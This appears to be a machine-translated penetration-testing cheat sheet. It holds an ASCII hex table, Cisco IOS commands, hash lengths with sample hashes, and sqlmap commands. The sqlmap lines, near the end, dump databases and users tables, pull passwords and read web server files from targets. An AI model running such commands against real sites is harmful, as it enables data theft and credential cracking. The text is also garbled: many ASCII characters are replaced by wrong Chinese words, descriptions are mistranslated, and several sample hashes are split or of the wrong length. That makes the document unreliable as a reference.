x33
|
3
|
|
x34
|
4
|
|
x35
|
五
|
|
x36
|
6
|
|
x37
|
7
|
|
x38
|
8
|
|
x39
|
9
|
|
x3a
|
:
|
|
x3b
|
;
|
|
x3c
|
<
|
|
x3d
|
=
|
|
x3e
|
>
|
|
x3f
|
?
|
|
x40
|
@
|
|
x41
|
一个
|
|
x42
|
乙
|
|
x43
|
C
|
|
x44
|
ð
|
|
x45
|
Ë
|
|
x46
|
F
|
|
x47
|
G
|
|
x48
|
H
|
|
x49
|
一世
|
|
x4a
|
Ĵ
|
|
x4b
|
ķ
|
|
x4c
|
大号
|
|
x4d
|
中号
|
|
x4e
|
ñ
|
|
x4f
|
Ø
|
|
x50
|
P
|
|
x51
|
Q
|
|
x52
|
[R
|
|
x53
|
小号
|
|
x54
|
Ť
|
|
x55
|
ü
|
|
x56
|
V
|
|
x57
|
w ^
|
|
x58
|
X
|
|
x59
|
ÿ
|
|
x5a
|
ž
|
|
x5b
|
[
|
|
x5c
|
\
|
|
x5d
|
]
|
|
x5e
|
^
|
|
x5f
|
_
|
|
x60
|
`
|
|
x61
|
一个
|
|
x62
|
b
|
|
x63
|
C
|
|
x64
|
ð
|
|
x65
|
Ë
|
|
x66
|
F
|
|
x67
|
G
|
|
x68
|
H
|
|
x69
|
一世
|
|
x6a
|
Ĵ
|
|
x6b
|
ķ
|
|
x6c
|
升
|
|
x6d
|
米
|
|
x6e
|
ñ
|
|
x6f
|
Ø
|
|
x70
|
p
|
|
x71
|
q
|
|
x72
|
[R
|
|
x73
|
小号
|
|
x74
|
Ť
|
|
x75
|
ü
|
|
x76
|
v
|
|
x77
|
w ^
|
|
x78
|
X
|
|
x79
|
ÿ
|
|
x7a
|
ž
|
CISCO IOS命令
一组有用的Cisco IOS命令。
|
命令 |
描述 |
|---|
|
enable
|
进入启用模式
|
|
conf t
|
短路,配置终端
|
|
(config)# interface fa0/0
|
配置FastEthernet 0/0
|
|
(config-if)# ip addr 0.0.0.0 255.255.255.255
|
将ip添加到fa0 / 0
|
|
(config-if)# ip addr 0.0.0.0 255.255.255.255
|
将ip添加到fa0 / 0
|
|
(config-if)# line vty 0 4
|
配置vty行
|
|
(config-line)# login
|
思科设置telnet密码
|
|
(config-line)# password YOUR-PASSWORD
|
设置telnet密码
|
|
# show running-config
|
显示内存中加载的运行配置
|
|
# show startup-config
|
显示sartup配置
|
|
# show version
|
显示cisco IOS版本
|
|
# show session
|
显示开放会话
|
|
# show ip interface
|
显示网络接口
|
|
# show interface e0
|
显示详细的界面信息
|
|
# show ip route
|
显示路线
|
|
# show access-lists
|
显示访问列表
|
|
# dir file systems
|
显示可用的文件
|
|
# dir all-filesystems
|
文件信息
|
|
# dir /all
|
SHOW已删除的文件
|
|
# terminal length 0
|
终端输出无限制
|
|
# copy running-config tftp
|
复制运行配置到tftp服务器
|
|
# copy running-config startup-config
|
将startup-config复制到running-config
|
加密
哈希长度
|
哈希 |
尺寸 |
|---|
|
MD5哈希长度
|
16 Bytes
|
|
SHA-1哈希长度
|
20 Bytes
|
|
SHA-256哈希长度
|
32 Bytes
|
|
SHA-512哈希长度
|
64 Bytes
|
哈希示例
可能只是使用哈希标识符,但这里有一些示例散列:
|
哈希 |
例 |
|---|
|
MD5哈希示例
|
8743b52063cd84097a65d1633f5c74f5
|
|
MD5 $ PASS:$ SALT示例
|
01dfae6e5d4d90d9892622325959afbe:7050461
|
|
MD5 $ SALT:$ PASS
|
f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
|
|
SHA1哈希示例
|
b89eaac7e61417341b710b727768294d0e6a277b
|
|
SHA1 $ PASS:$ SALT
|
2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
|
|
SHA1 $ SALT:$ PASS
|
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
|
|
SHA-256
|
127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
|
|
SHA-256 $ PASS:$ SALT
|
c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
|
|
SHA-256 $ SALT:$ PASS
|
eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
|
|
SHA-512
|
82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
|
|
SHA-512 $ PASS:$ SALT
|
e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
|
|
SHA-512 $ SALT:$ PASS
|
976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
|
|
NTLM哈希示例
|
b4b9b02e6f09a9bd760f388b67351e2b
|
SQLMap示例
|
命令 |
描述 |
|---|
|
sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
|
自动sqlmap扫描
|
|
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
|
目标sqlmap扫描
|
|
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
|
扫描url for union +基于错误的注入与mysql后端
并使用随机用户代理+数据库转储
|
|
sqlmap -o -u "http://meh.com/form/" --forms
|
用于注入的sqlmap检查表单
|
|
sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
|
数据库名称上的表用户的sqlmap转储和破解散列。
|